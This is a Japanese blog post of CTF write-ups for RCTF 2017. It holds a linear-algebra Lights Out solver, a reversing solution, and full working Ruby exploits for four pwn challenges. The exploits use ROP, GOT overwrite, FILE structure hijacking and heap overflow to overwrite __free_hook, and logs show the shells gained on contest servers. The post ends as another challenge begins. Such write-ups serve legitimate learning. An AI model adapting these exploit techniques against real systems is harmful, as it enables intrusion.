しゃろの日記

CTFのwriteup置き場になる予定(`・ω・´)

RCTF 2017 writeup

RCTF 2017にscryptosで参加しました。

チームで6108pts入れて10位、私は8問(うち1問はふるかわプロと)解いて3280pts入れました。

解いた問題のwriteupを置いておきます(`・ω・´)

mysql (misc 238)

grep -R flag ./で終わる。

FLAG: RCTF{71e55075163d5c6410c0d9eae499c977}

light (misc 434)

オリジナルルールのライツアウト(128x128)を解く問題。

オリジナルルールとはいえ連立方程式で解けることに変わりはないので、行列の変形をがんばる。

雑に書いたソルバで出た解をふるかわプロに渡したら7分でフラグが返ってきた(すごい)。

#include <stdio.h>
#include <stdlib.h>

unsigned char **make_matrix(int height, int width){
    unsigned char **rows;
    int i;

    rows = calloc(height, sizeof(unsigned char*));
    for(i = 0; i < height; i++){
        rows[i] = calloc(width, sizeof(unsigned char));
    }

    return rows;
}

void release_matrix(unsigned char **matrix, int height){
    int i;

    for(i = 0; i < height; i++){
        free(matrix[i]);
    }
    free(matrix);
}

unsigned char *read_state(FILE *fp, int height, int width){
    unsigned char *state;

    state = calloc(height * width, sizeof(unsigned char));
    fread(state, height * width, sizeof(unsigned char), fp);

    return state;
}

void init_matrix(unsigned char **rows, int height, int width){
    int x, y;
    int dx[] = {-2, -1, 0, 1, 2, 1, 0, -1};
    int dy[] = {0, -1, -2, -1, 0, 1, 2, 1};
    int d;

    for(y = 0; y < height; y++){
        for(x = 0; x < width; x++){
            for(d = 0; d < sizeof(dx) / sizeof(int); d++){
                if(0 <= x + dx[d] && x + dx[d] < width && 0 <= y + dy[d] && y + dy[d] < height){
                    rows[(y + dy[d]) * width + x + dx[d]][y * width + x] = 1;
                }
            }
        }
    }
}

void print_matrix(unsigned char **rows, int height, int width){
    int x, y;

    for(y = 0; y < height; y++){
        for(x = 0; x < width; x++){
            printf("%c", rows[y][x] == 1 ? '1' : '0');
        }
        printf("\n");
    }
}

void add_row(unsigned char *a, unsigned char *b, int rank){
    int i = 0;

    while(i + sizeof(unsigned long) <= rank){
        *(unsigned long*)a ^= *(unsigned long*)b;
        a += sizeof(unsigned long);
        b += sizeof(unsigned long);
        i += sizeof(unsigned long);
    }
    while(i + sizeof(unsigned char) <= rank){
        *(unsigned char*)a ^= *(unsigned char*)b;
        a += sizeof(unsigned char);
        b += sizeof(unsigned char);
        i += sizeof(unsigned char);
    }
}

unsigned char **transform(unsigned char **matrix, int rank){
    unsigned char **right;
    int i, j, k;
    unsigned char *temp;

    right = make_matrix(rank, rank);
    for(i = 0; i < rank; i++){
        right[i][i] = 1;
    }

    for(i = 0; i < rank; i++){
        fprintf(stderr, "\r%d/%d", i + 1, rank);

        // row[i] = 1な行を探す
        for(j = i; j < rank; j++){
            if(matrix[j][i] == 1){
                break;
            }
        }

        // なかったら飛ばす
        if(j == rank){
            continue;
        }

        // あったらi行目と入れ替え
        temp = matrix[i];
        matrix[i] = matrix[j];
        matrix[j] = temp;
        temp = right[i];
        right[i] = right[j];
        right[j] = temp;

        // 打ち消し
        for(k = 0; k < rank; k++){
            if(i == k || matrix[k][i] != 1){
                continue;
            }
            add_row(matrix[k], matrix[i], rank);
            add_row(right[k], right[i], rank);
        }
    }

    return right;
}

unsigned char *mul(unsigned char **matrix, unsigned char *vector, int rank){
    unsigned char *answer;
    int i, j;
    unsigned char v;

    answer = calloc(rank, sizeof(unsigned char));

    for(i = 0; i < rank; i++){
        v = 0;
        for(j = 0; j < rank; j++){
            v ^= matrix[i][j] & vector[j];
        }
        answer[i] = v;
    }

    return answer;
}

void print_answer(unsigned char *answer, int height, int width){
    int x, y;

    printf("\n");
    for(y = 0; y < height; y++){
        for(x = 0; x < width; x++){
            printf("%c", answer[y * width + x] == 1 ? '1' : '0');
        }
        printf("\n");
    }
}

int main(int argc, char **argv){
    int height;
    int width;
    FILE *fp;
    unsigned char **matrix, **right;
    unsigned char *state;
    unsigned char *answer;

    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    if(argc != 2){
        exit(1);
    }

    fp = fopen(argv[1], "rb");
    if(fp == NULL){
        exit(1);
    }
    fread(&height, 4, 1, fp);
    fread(&width, 4, 1, fp);

    state = read_state(fp, height, width);
    fclose(fp);

    matrix = make_matrix(height * width, height * width);
    init_matrix(matrix, height, width);

    right = transform(matrix, height * width);

    answer = mul(right, state, height * width);
    print_answer(answer, height, width);

    free(answer);
    release_matrix(right, height * width);
    release_matrix(matrix, height * width);
}

FLAG: RCTF{Gaussian_elimination_is_awesome!}

baby flash (rev 222)

文字列の入力を求め、以下のようなチェック関数に通すという動作をするswfファイルが与えられる。

void check(char *s){
    if(strcmp("RCTF{_DYiin9__F1ash__1ike5_CPP}", s) != 0){
        puts("ng");
    }else{
        puts("ok");
    }
}

これだけを見るとRCTF{_DYiin9__F1ash__1ike5_CPP}を投げて終了!という気分になるが、strcmpに手が加えられているらしく、残念ながら通らない。

strcmpも読むと、

int strcmp(char *arg1, char *arg2){ // arg1: ebp, arg2: ebp-4
    char *var_4 = arg1;
    char *var_8 = arg2;
    char *var_24 = var_4;
    char *var_28 = var_8;
    int var_32 = 2;
    int var_36 = 3;
    int var_40 = 0;
    int var_44 = 0;
    char var_17;
    int var_16;
    int var_12;

    while(*var_24 != 0){
        if(*var_28 == 0){
            break;
        }
        if(*var_24 == *var_28){
            if(var_40 != var_32 << 1){
                var_17 = 0;
            }else{
                var_17 = 1;
            }
            var_40++;
            if(var_17 != 0){
                var_24++;
                var_44 = var_32 + var_36;
                var_32 = var_36;
                var_36 = var_44;
            }
            var_24++;
            var_28++;
            continue;
        }
        break;
    }
    return (int)*var_24 - (int)*var_28;
}

よく分からない処理が入っていてよく分からなかったので、雑にロジックを抜き出してフラグを求めた。

#coding:ascii-8bit

fakeflag = "RCTF{_Dyiin9__F1ash__1ike5_CPP}"

var_24 = 0
var_32, var_36, var_40, var_44 = [2, 3, 0, 0]
var_17 = false
buf = ""

while var_24 < fakeflag.length
  buf << fakeflag[var_24]
  var_17 = var_40 == var_32 << 1
  var_40 += 1
  if var_17
    var_24 += 1
    var_44 = var_32 + var_36
    var_32 = var_36
    var_36 = var_44
  end
  var_24 += 1
end

puts buf

FLAG: RCTF{Dyin9_F1ash_1ike5_CPP}

RCalc (pwn 350)

$ ./RCalc
Input your name pls: a
Hello a!
Welcome to RCTF 2017!!!
Let's try our smart calculator
What do you want to do?
1.Add
2.Sub
3.Mod
4.Multi
5.Exit
Your choice:1
input 2 integer: 1
2
The result is 3
Save the result? y
What do you want to do?
1.Add
2.Sub
3.Mod
4.Multi
5.Exit
Your choice:5

計算プログラム。

まずは下調べ。

$ file RCalc
RCalc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a4fc0eac70bfe647c94e2819a07c84d69d649888, stripped

$ checksec --file RCalc
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   RCalc

主な仕様はこんな感じ。

  • オレオレstack canaryが実装されている
    • プログラムの初期化処理で計算結果保存用の配列と、stack canary保存用の配列がそれぞれmallocで確保される
    • 関数の最初に乱数を生成し、スタックとヒープにそれぞれ値を保存する
    • 関数を抜ける際にスタックとヒープのcanaryを比較し、違った場合は強制終了
  • 初期化処理の後、名前の入力を求められる
    • scanf("%s")で入力できるのでstack bofする
  • 名前入力の後、足し算・引き算・剰余演算・かけ算ができるメニューに移行する
    • 計算結果は先述の計算結果保存用の配列に保存することができる
    • いくつ保存したかのチェックがないため、保存しまくるとout-of-bounds writeでstack canary保存用の配列が上書きできる

以下の手順で攻略した。

  1. 名前入力でstack bofし、ROP payloadを仕込む
    このとき、canaryは0とかの適当な値に書き換えておく
  2. 計算結果を保存しまくり、stack canary保存用の配列の最初の要素が1.で書き換えた値と等しくなるようにする
  3. 計算メニューを抜けるとcanaryのチェックを通過してROPが発動する
#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "rcalc.2017.teamrois.cn"
  port = 2333
  libc_offset = {
    "__libc_start_main" => 0x20740,
    "one_gadget" => 0x4526a
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "__libc_start_main" => 0x20740,
    "one_gadget" => 0x4526a
  }
end

class PwnTube
  def recv_until_prompt
    recv_until("Your choice:")
  end
end

offset = {
  "pop_rdi_ret" => 0x401123,
  "ret" => 0x401124,
  "pop_rsi_r15_ret" => 0x401121,
  "printf" => 0x400850,
  "scanf" => 0x4008e0,
  "format_str" => 0x401203
}

got = {
  "__libc_start_main" => 0x601ff0,
  "one_gadget" => 0x602100
}

def tube
  @tube
end

def call_func(func, arg1 = 0, arg2 = 0, arg3 = 0)
  payload = ""
  payload << [0x40111a, 0, 1, func, arg3, arg2, arg1].pack("Q*")
  payload << [0x401100].pack("Q")
  payload << [0].pack("Q") * 7
  payload
end

def calc_internal(n, a, b, save_result)
  tube.recv_until_prompt
  tube.sendline("#{n}")
  tube.recv_until("input 2 integer: ")
  tube.sendline("#{a}")
  tube.sendline("#{b}")
  tube.recv_until("Save the result? ")
  tube.send((save_result ? "yes" : "no").ljust(16, "\0"))
end

def add(a, b, save_result)
  calc_internal(1, a, b, save_result)
end

def sub(a, b, save_result)
  calc_internal(2, a, b, save_result)
end

def mod(a, b, save_result)
  calc_internal(3, a, b, save_result)
end

def mul(a, b, save_result)
  calc_internal(4, a, b, save_result)
end

PwnTube.open(host, port){|t|
  @tube = t

  puts "[*] send name"
  tube.recv_until("Input your name pls: ")
  payload = ""
  payload << "A" * 0x108
  payload << [0].pack("Q")  # canary
  payload << "AAAAAAAA"
  payload << [offset["pop_rdi_ret"], got["__libc_start_main"]].pack("Q*")
  payload << [offset["printf"]].pack("Q")
  payload << [offset["pop_rdi_ret"], offset["format_str"]].pack("Q*")
  payload << [offset["pop_rsi_r15_ret"], got["one_gadget"], 0].pack("Q*")
  payload << [offset["ret"]].pack("Q")
  payload << [offset["scanf"]].pack("Q")
  payload << call_func(got["one_gadget"])
  payload << "\0" * 0x40
  raise unless payload.scanf_safe?
  tube.sendline(payload)

  puts "[*] overwrite canary"
  35.times{
    print "."
    add(0, 0, true)
  }
  puts

  puts "[*] trigger ROP"
  tube.recv_until_prompt
  tube.sendline("5")

  puts "[*] leak libc base"
  libc_base = tube.recv(6).ljust(8, "\0").unpack("Q")[0] - libc_offset["__libc_start_main"]
  puts "libc base = 0x%x" % libc_base

  puts "[*] overwrite got"
  tube.sendline([libc_base + libc_offset["one_gadget"]].pack("Q"))

  tube.interactive
}
$ ruby rcalc.rb r
[*] connected
[*] send name
[*] overwrite canary
...................................
[*] trigger ROP
[*] leak libc base
libc base = 0x7feca8168000
[*] overwrite got
[*] interactive mode
pwd
/
ls -la
total 56
drwxr-x--- 17 0 1000  4096 May 12 04:21 .
drwxr-x--- 17 0 1000  4096 May 12 04:21 ..
-rwxr-x---  1 0 1000   220 Aug 31  2015 .bash_logout
-rwxr-x---  1 0 1000  3771 Aug 31  2015 .bashrc
-rwxr-x---  1 0 1000   655 Jun 24  2016 .profile
-rwxr-x---  1 0 1000 10440 May 12 04:01 RCalc
drwxr-xr-x  2 0    0  4096 May 12 04:21 bin
drwxr-xr-x  2 0    0  4096 May 12 04:21 dev
-rwxr-----  1 0 1000    31 May 12 03:20 flag
drwxr-xr-x 27 0    0  4096 May 12 04:21 lib
drwxr-xr-x  3 0    0  4096 May 12 04:21 lib32
drwxr-xr-x  2 0    0  4096 May 12 04:21 lib64
cat flag
RCTF{Y0u_kn0w_th3_m4th_9e78cc}
exit
[*] end interactive mode
[*] connection closed

FLAG: RCTF{Y0u_kn0w_th3_m4th_9e78cc}

Recho (pwn 370)

$ ./Recho
Welcome to Recho server!
5
hoge
hoge
5
piyo
piyo

エコーサーバ。

まずは下調べ。

$ file Recho
Recho: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6696795a3d110750d6229d85238cad1a67892298, not stripped

$ checksec --file Recho
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   Recho

主な仕様はこんな感じ。

  • 数字を入力する→入力したバイト分スタックに文字列を読み込む→読んだ文字列を出力する、という動作を繰り返すだけ
    • 大きい数字を指定すればstack bofする
    • 数字を入力する部分のreadの戻り値が0以下になった場合はループを抜け、終了する
  • なぜかdata領域に"flag"という文字列が用意されている

readの戻り値を0にしてROPを発動させるには、攻撃側でshutdown(sockfd, SHUT_WR)すればよい。

ただし、それ以降は攻撃側から何も送信できなくなることを念頭に置いてROPを組む必要がある。

今回はadd byte [rdi], al ; retというgadgetがあったので、これを使ってgotをpartial overwriteし、ROPでopen-read-writeできるようにした。

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "recho.2017.teamrois.cn"
  port = 9527
else
  host = "localhost"
  port = 54321
end

offset = {
  "add_al_ret" => 0x40070d,  # add byte [rdi], al ; ret  ;
  "pop_rdi_ret" => 0x4008a3,

  "flag" => 0x601058,
  "buf" => 0x601f00
}

got = {
  "read" => 0x601030,
  "write" => 0x601018
}

def call_func(func, arg1 = 0, arg2 = 0, arg3 = 0)
  payload = ""
  payload << [0x40089a, 0, 1, func, arg3, arg2, arg1].pack("Q*")
  payload << [0x400880].pack("Q")
  payload << [0].pack("Q") * 7
  payload
end

PwnTube.open(host, port){|tube|

  fd = 3

  tube.recv_until("Welcome to Recho server!\n")

  payload = ""
  payload << "A" * 0x38
  # got["read"] = syscall
  payload << call_func(got["write"], 1, got["write"], 0x7e - 0x70)
  payload << [offset["pop_rdi_ret"], got["read"]].pack("Q*")
  payload << [offset["add_al_ret"]].pack("Q")
  # open("flag", 0)
  payload << call_func(got["write"], 1, got["write"], 2)
  payload << call_func(got["read"], offset["flag"], 0)
  # read(fd, buf, 0x100)
  payload << call_func(got["write"], 1, got["write"], 0)
  payload << call_func(got["read"], fd, offset["buf"], 0x100)
  # write(1, buf, 0x100)
  payload << call_func(got["write"], 1, offset["buf"], 0x100)
  payload << [0xdeadbeefdeadbeef].pack("Q")

  puts "[*] send ROP payload"
  tube.send("#{payload.length}".ljust(16, "\0"))
  tube.send(payload)

  puts "[*] shutdown our socket"
  tube.socket.shutdown(Socket::SHUT_WR)

  sleep 5

  puts "[*] receive flag"
  p tube.recv_until_eof
}
$ ruby recho.rb r
[*] connected
[*] send ROP payload
[*] shutdown our socket
[*] receive flag
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA(\x03\xD0fTd\xAC\x7F\x00\x00\x00XJd\xAC\x7F\xD0fRCTF{l0st_1n_th3_3ch0_d6794b}\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
[*] connection closed

FLAG: RCTF{l0st_1n_th3_3ch0_d6794b}

RNote (pwn 454)

$ ./RNote
welcome to RNote service!
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice: 1
Please input the note size: 10
Please input the title: hoge
Please input the content: piyo
***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice: 3
Which Note do you want to show: 0
note title: hoge
note content: piyo

***********************
1.Add new note
2.Delete a note
3.Show a note
4.Exit
***********************
Your choice: 4

よくあるノート管理プログラム。

まずは下調べ。

$ file RNote
RNote: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=dc8994af689f63aadd197e6efd0b4b33c9fb1db6, stripped

$ checksec --file RNote
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   RNote

主な仕様はこんな感じ。

  • ノートはbss領域にstruct Note note[16]の形で保持する
struct Note {
    int used;
    int size;
    char title[16];
    char *content;
};
  • メインメニュー
    • 1. Add new note
      • 指定したサイズの領域をmallocで確保し、ノートを作成する
      • タイトル入力部にoff-by-one bofがあり、contentの最下位バイトを書き換えられる
    • 2. Delete a note
      • 指定したノートを削除し、領域を解放する
    • 3. Show a note
      • 指定したノートのタイトルと内容を出力する

Add new noteのoff-by-one bofを使うことで、ヒープ上のデータをリークしたり、ヒープ上の任意アドレスをfreeしたりできる。

fastbins unlink attackでstdin->_chainを偽FILE構造体に向け、プログラム終了時にsystem("/bin/sh")が呼ばれるようにした。(参考

#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "rnote.2017.teamrois.cn"
  port = 7777
  libc_offset = {
    "main_arena" => 0x3c3b20,
    "_IO_2_1_stdin_" => 0x3c38e0,
    "system" => 0x45390
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "main_arena" => 0x3c3b20,
    "_IO_2_1_stdin_" => 0x3c38e0,
    "system" => 0x45390
  }
end

class PwnTube
  def recv_until_prompt
    recv_until("Your choice: ")
  end
end

def tube
  @tube
end

def add_note(size, title, content)
  tube.recv_until_prompt
  tube.send("1\0")
  tube.recv_until("Please input the note size: ")
  tube.sendline("#{size}\0")
  tube.recv_until("Please input the title: ")
  if title.length == 17
    tube.send(title)
  else
    tube.sendline(title)
  end
  tube.recv_until("Please input the content: ")
  tube.send(content)
end

def delete_note(index)
  tube.recv_until_prompt
  tube.send("2\0")
  tube.recv_until("Which Note do you want to delete: ")
  tube.send("#{index}\0")
end

def show_note(index)
  tube.recv_until_prompt
  tube.send("3\0")
  tube.recv_until("Which Note do you want to show: ")
  tube.send("#{index}\0")
end

PwnTube.open(host, port){|t|
  @tube = t

  puts "[*] leak heap base"
  add_note(0x18, "A" * 16 + "\x10", "A" * 0x18)
  show_note(0)
  heap_base = tube.recv_capture(/A{16}(.{3,4})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - 0x10
  puts "heap base = 0x%x" % heap_base

  puts "[*] leak libc base"
  add_note(0x88, "A", "A")
  add_note(0x18, "A" * 16 + "\x30", "A" * 0x18)
  delete_note(1)
  show_note(2)
  libc_base = tube.recv_capture(/note content: (.{8})/m)[0].unpack("Q")[0] - libc_offset["main_arena"] - 0x58
  puts "libc base = 0x%x" % libc_base

  puts "[*] abuse freelist"
  add_note(0x88, "A", "A")
  add_note(0x18, "A" * 16 + "\xf0", "A" * 8 + [0x31].pack("Q"))
  add_note(0x68, "A", [0, 0, 0, 0x21].pack("Q*"))
  delete_note(4)
  delete_note(3)
  add_note(0x28, "A", [0, 0x71, libc_base + libc_offset["_IO_2_1_stdin_"] + 0x3d].pack("Q*"))

  puts "[*] create fake FILE structure"
  payload = ""
  payload << "/bin/sh".ljust(8, "\0")
  payload << [0].pack("Q") * 3
  payload << [0, 1, 0].pack("Q*")
  payload << [0].pack("Q") * 19
  payload << [libc_base + libc_offset["system"]].pack("Q")
  payload << [heap_base + 0x240 - 0x18].pack("Q")
  add_note(payload.length, "A", payload) # heapbase + 0x170

  puts "[*] overwrite stdin->_chain"
  add_note(0x68, "A", "A")
  add_note(0x68, "A", "\0" * 27 + [heap_base + 0x170].pack("Q"))

  puts "[*] pop a shell"
  tube.recv_until_prompt
  tube.send("4\0")

  tube.interactive
}
$ ruby rnote.rb r
[*] connected
[*] leak heap base
heap base = 0x101e000
[*] leak libc base
libc base = 0x7ff6fd1c5000
[*] abuse freelist
[*] create fake FILE structure
[*] overwrite stdin->_chain
[*] pop a shell
[*] interactive mode
pwd
/
ls -la
total 56
drwxr-x--- 17 0 1000  4096 May 14 11:12 .
drwxr-x--- 17 0 1000  4096 May 14 11:12 ..
-rwxr-x---  1 0 1000   220 Aug 31  2015 .bash_logout
-rwxr-x---  1 0 1000  3771 Aug 31  2015 .bashrc
-rwxr-x---  1 0 1000   655 Jun 24  2016 .profile
-rwxr-x---  1 0 1000 10408 May 14 11:09 RNote
drwxr-xr-x  2 0    0  4096 May 14 11:12 bin
drwxr-xr-x  2 0    0  4096 May 14 11:12 dev
-rwxr-----  1 0 1000    40 May 14 11:11 flag
drwxr-xr-x 27 0    0  4096 May 14 11:12 lib
drwxr-xr-x  3 0    0  4096 May 14 11:12 lib32
drwxr-xr-x  2 0    0  4096 May 14 11:12 lib64
cat flag
RCTF{just_A_0ne_byt3_0ve3fl0w_0_233333}
exit
[*] end interactive mode
[*] connection closed

FLAG: RCTF{just_A_0ne_byt3_0ve3fl0w_0_233333}

RNote2 (pwn 606)

$ ./RNote2
welcome to RNote service!
***********************
1.Add new note
2.Delete a note
3.List all note
4.Edit a note
5.Expand a note
6.Exit
***********************
Your choice:
1
Input the note length:
10
Input the note content:
hoge
***********************
1.Add new note
2.Delete a note
3.List all note
4.Edit a note
5.Expand a note
6.Exit
***********************
Your choice:
3
Your all notes:
1.
Note length: 10
Note content: hoge

***********************
1.Add new note
2.Delete a note
3.List all note
4.Edit a note
5.Expand a note
6.Exit
***********************
Your choice:
6

パワーアップしたRNote。

まずは下調べ。

$ file RNote2
RNote2: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1c1ccda40b1581b4d594a6798e5e2200204693f2, stripped

$ checksec --file RNote2
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      Canary found      NX enabled    PIE enabled     No RPATH   No RUNPATH   RNote2

セキュリティ機構もパワーアップしている。

主な仕様はこんな感じ。

  • ノートは双方向リストで管理する
struct Note {
    long editted;
    unsigned long length;
    struct Note *next;
    struct Note *prev;
    char *content;
}
  • メインメニュー
    • 1. Add new note
      • 指定したサイズの領域をmallocで確保し、ノートを作成する
    • 2. Delete a note
      • 指定したノートをリストから外し、領域を解放する
    • 3. List all note
      • リストに登録されている全てのノートの情報を出力する
    • 4. Edit a note
      • 指定したノートを編集する
      • 各ノートはEditかExpandのどちらかを1回までしかできない
    • 5. Expand a note
      • 指定したノートの領域をreallocで拡張し、内容を追記する
      • 特定の条件を満たすとheap bofする
      • 各ノートはEditかExpandのどちらかを1回までしかできない
  • その他
    • 文字列入力用の関数にNULL終端がない

Expand a noteのheap bofは以下のような手順で起こすことができる。

(1) size=0x18なノートで使われている0x20バイトのチャンクと、0x30バイトのfree済チャンクを用意する
0x0000000000000000 0x0000000000000021 ←0x20バイトのチャンク
0x4141414141414141 0x4141414141414141
0x4141414141414141 0x0000000000000031 ←0x30バイトのfree済チャンク
0x4242424242424242 0x4242424242424242
0x4242424242424242 0x4242424242424242
0x4242424242424242 0x0000000000000081 ←後続のチャンク

(2) Expand a noteでsize=0x18なノートを0x10 byte拡張するとrealloc(content, 0x28)が実行され、
    0x30のfree済チャンクが使われる
0x0000000000000000 0x0000000000000021 ←このチャンクが解放されて……
0x4141414141414141 0x4141414141414141
0x4141414141414141 0x0000000000000031 ←このチャンクが確保され、データがコピーされる
0x4141414141414141 0x4141414141414141
0x4141414141414141 0x4242424242424242
0x4242424242424242 0x0000000000000081

(3) 追加分のデータがstrncat(content, buf, 0x10 - 1)で追加されるのでheap bofでchunk sizeが上書きされる
0x0000000000000000 0x0000000000000021
0x4141414141414141 0x4141414141414141
0x4141414141414141 0x0000000000000031
0x4141414141414141 0x4141414141414141
0x4141414141414141 0x4242424242424242
0x4242424242424242 0x4343434343434381 ←strncatで後続のチャンクのsizeが書き換わってしまった

今回は以下の手順で攻略した。

  1. 文字列入力関数にNULL終端がないことを利用してヒープとlibcのアドレスをリーク
  2. Expand a noteのheap bofでチャンクのサイズを書き換え、大きなチャンクの中にNote用のチャンクがある、という状態を作る
  3. 2.のチャンクをそれぞれfree
  4. ノートを作成することで3.で解放したNote用のチャンクを再確保する
  5. 3.で解放した大きなチャンクも再確保し、4.のNote用チャンクを上書きすると、Edit a noteでarbitrary writeができるようになる
  6. __free_hooksystemに向ける
#coding:ascii-8bit
require "pwnlib"

remote = ARGV[0] == "r"
if remote
  host = "rnote2.2017.teamrois.cn"
  port = 6666
  libc_offset = {
    "main_arena" => 0x3c3b20,
    "__free_hook" => 0x3c57a8,
    "system" => 0x45390
  }
else
  host = "localhost"
  port = 54321
  libc_offset = {
    "main_arena" => 0x3c3b20,
    "__free_hook" => 0x3c57a8,
    "system" => 0x45390
  }
end

class PwnTube
  def recv_until_prompt
    recv_until("Your choice:\n")
  end
end

def tube
  @tube
end

def add_note(length, content)
  tube.recv_until_prompt
  tube.send("1")
  tube.recv_until("Input the note length:\n")
  tube.send("#{length}")
  tube.recv_until("Input the note content:\n")
  tube.send(content)
end

def delete_note(index)
  tube.recv_until_prompt
  tube.send("2")
  tube.recv_until("Which note do you want to delete?\n")
  tube.send("#{index}")
end

def list_all_note
  tube.recv_until_prompt
  tube.send("3")
end

def edit_note(index, content)
  tube.recv_until_prompt
  tube.send("4")
  tube.recv_until("Which note do you want to edit?\n")
  tube.send("#{index}")
  tube.recv_until("Input new content:\n")
  tube.send(content)
end

def expand_note(index, length, content)
  tube.recv_until_prompt
  tube.send("5")
  tube.recv_until("Which note do you want to expand?\n")
  tube.send("#{index}")
  tube.recv_until("How long do you want to expand?\n")
  tube.send("#{length}")
  tube.recv_until("Input content you want to expand\n")
  tube.send(content)
end

PwnTube.open(host, port){|t|
  @tube = t

  puts "[*] leak heap base"
  add_note(0x18, "A" * 0x18)
  add_note(0x18, "A" * 0x18)
  delete_note(2)
  delete_note(1)
  add_note(1, "\x80")
  list_all_note
  heap_base = tube.recv_capture(/Note content: (.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - 0x80
  puts "heap base = 0x%x" % heap_base

  puts "[*] leak libc base"
  add_note(0x88, "A" * 0x88)
  add_note(0x18, "A" * 0x18)
  delete_note(2)
  add_note(0x88, "A" * 7 + "\n")
  list_all_note
  libc_base = tube.recv_capture(/AAAAAAA\n(.{6})\n/m)[0].ljust(8, "\0").unpack("Q")[0] - libc_offset["main_arena"] - 0x58
  puts "libc base = 0x%x" % libc_base

  puts "[*] place some chunks"
  add_note(0x38, "A" * 0x38)
  add_note(0x48, "A" * 0x48)
  add_note(0x18, "A" * 0x18)

  puts "[*] overwrite chunk size"
  delete_note(5)
  expand_note(4, 2, "\x01\x00")

  puts "[*] place more chunks"
  add_note(0x18, "A" * 0x18)
  add_note(0x88, "A" * 0x88)

  puts "[*] make chunks overlapping"
  delete_note(5)
  payload = ""
  payload << "/bin/sh".ljust(8, "\0")
  payload << [0].pack("Q") * 12
  payload << [0x31].pack("Q")
  payload << [0].pack("Q")  # edit
  payload << [8].pack("Q")  # length
  payload << [0].pack("Q")  # next
  payload << [0].pack("Q")  # prev
  payload << [libc_base + libc_offset["__free_hook"]].pack("Q")  # buf
  add_note(payload.length, payload)

  puts "[*] overwrite __free_hook"
  edit_note(6, [libc_base + libc_offset["system"]].pack("Q"))

  puts "[*] launch shell"
  delete_note(7)

  tube.interactive
}
$ ruby rnote2.rb r
[*] connected
[*] leak heap base
heap base = 0x56538592b000
[*] leak libc base
libc base = 0x7f75d543e000
[*] place some chunks
[*] overwrite chunk size
[*] place more chunks
[*] make chunks overlapping
[*] overwrite __free_hook
[*] launch shell
[*] interactive mode
pwd
/
ls -la
total 56
drwxr-x--- 17 0 1000  4096 May 20 21:18 .
drwxr-x--- 17 0 1000  4096 May 20 21:18 ..
-rwxr-x---  1 0 1000   220 Aug 31  2015 .bash_logout
-rwxr-x---  1 0 1000  3771 Aug 31  2015 .bashrc
-rwxr-x---  1 0 1000   655 Jun 24  2016 .profile
-rwxr-x---  1 0 1000 10216 May 20 21:16 RNote2
drwxr-xr-x  2 0    0  4096 May 20 21:18 bin
drwxr-xr-x  2 0    0  4096 May 20 21:18 dev
-rwxr-----  1 0 1000    38 May 14 11:03 flag
drwxr-xr-x 27 0    0  4096 May 20 21:18 lib
drwxr-xr-x  3 0    0  4096 May 20 21:18 lib32
drwxr-xr-x  2 0    0  4096 May 20 21:18 lib64
cat flag
RCTF{f0rt1fy_th3_pr0gr4m_dud3!!!!!!!}
exit
Done!
***********************
1.Add new note
2.Delete a note
3.List all note
4.Edit a note
5.Expand a note
6.Exit
***********************
Your choice:
6
[*] end interactive mode
[*] connection closed

FLAG: RCTF{f0rt1fy_th3_pr0gr4m_dud3!!!!!!!}

aiRcraft (pwn 606)

$ ./aiRcraft
Welcome to aiRline!
what do you want to do?
1. Buy a new plane
2. Build a new airport
3. Enter a airport
4. Select a plane
5. Exit
